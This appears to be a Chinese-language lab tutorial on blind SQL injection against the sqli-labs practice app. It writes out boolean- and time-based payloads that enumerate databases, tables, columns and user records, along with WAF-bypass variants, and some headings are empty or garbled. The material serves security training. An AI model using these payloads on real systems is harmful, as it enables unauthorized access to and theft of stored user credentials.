一 . 可以查看有几个数据库
命令如下
' and (select count(*) from information_schema.schemata limit 0,1)=6 --+
证明有6个数据库。
二 . 查数据库名长度
大于7 回显正常
大于8 回显不正常
我们可以确定数据库名长度为8
三 . 猜库名
(1)使用left()方法去猜解库名
Database=’security’
绕WAF:
zzy/Less-5/?id=1/*&id=1' and (substr(database(),1,1)='e')--+*/
(2)使用extractvalue函数或updatexml函数报错处理
绕WAF:
Less-5/?id=1%27%20%20and%20`updatexml`/**/(1,concat(char(32,58,32),/*!11144database*/(/**/)),1)--+
所有库:
(2) 二分法 逐字猜解
猜有几个表 命令如下:
' and (select count(*) from information_schema.tables where table_schema='security')=4--+
发现security库下有四张表
我们用substr方法去一个表一个表的进行猜解
猜第一张表,命令如下:
' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 --+
上图中1表示security库中第一行的表的第一个字符的ascii码大于100 回显正确
在图中2 这里简单举个例子关于substr()函数
Substr(a,b,c) 是在a中从第b个位置找, c表示找几个
这里1,1表示第一个字符
注:当a等于0或1时,都是从第一位开始截取
第一个字符ascii码是101 对应查表是e
第二个字符ascii码是109 对应查表是m
如法炮制 我们得到了第一行的表名为emails
接下来我们猜第二张表
命令如下:
' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))>100 --+
确定第一个字符ascii码为114 是r
确定第二个字符是e
这样一个表一个表进行猜解
最终得到security库下四个表为 emails,referers,uagents,users
绕WAF:
(2)二分法
我们发现有个表名叫users很有可能就是保存敏感数据的地方 我们对users进行猜解字段
先猜有几个字段
' and (select count(*) from information_schema.columns where table_name='users')=3--+
发现有三个字段
跟前面一样 我们用substr方法逐字猜解,这里可用 ord(mid(语句)) 结果是一样的
命令如下:
' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105 --+
得到第一个字段的第一个字符为i
这样一直猜下去 得到三个字段分别为id username password
绕WAF:
如法炮制 可以一直猜解下去
那么问题来了 到底有多少个username 多少个用户呢
命令为:' and (select count(*) from security.users)=13 --+
回显正常 说明有13行 13个用户
慢慢猜把
附加
一、基于布尔的盲注:
1.判断是否存在注入,注入是字符型还是数字型,例:1 or 1=1,1’ or ‘1’='1
2.猜解当前数据库名,例:猜长度 and length(database())=1 #,逐个猜字符and ascii(substr(databse(),1,1))>97#
3.猜解数据库中的表名,例:猜表数量 and (select count (table_name) from information_schema.tables where table_schema=database())=1 #,逐个猜表名长度and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #,再逐个猜表名字符 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #
4.猜解表中的字段名,例:猜字段数量and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 #,逐个猜字段长度and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 #,再逐个猜字段字符(可用二分法)
5.猜解数据,先猜数据记录数(可用二分法),再逐个字段猜数据的长度及数据(可用二分法)
二、基于时间的盲注(对于没有任何输出可作为判断依据的可采用此法,感觉到明显延迟,则说明猜中):
1.判断是否存在注入,注入是字符型还是数字型,例:and sleep(5) #
2.猜解当前数据库名,例:猜长度 and if(length(database())=1,sleep(5),1) # ,逐个猜字符 and if(ascii(substr(database(),1,1))>97,sleep(5),1)
3.猜解数据库中的表名,例:猜表数量 and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)#,逐个猜表名长度 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1),再逐个猜表名字符
4.猜解表中的字段名,例:猜字段数量 and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)#,逐个猜字段长度 and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # ,再逐个猜字段字符(可用二分法)
5.猜解数据,先猜数据记录数(可用二分法),再逐个字段猜数据的长度及数据(可用二分法)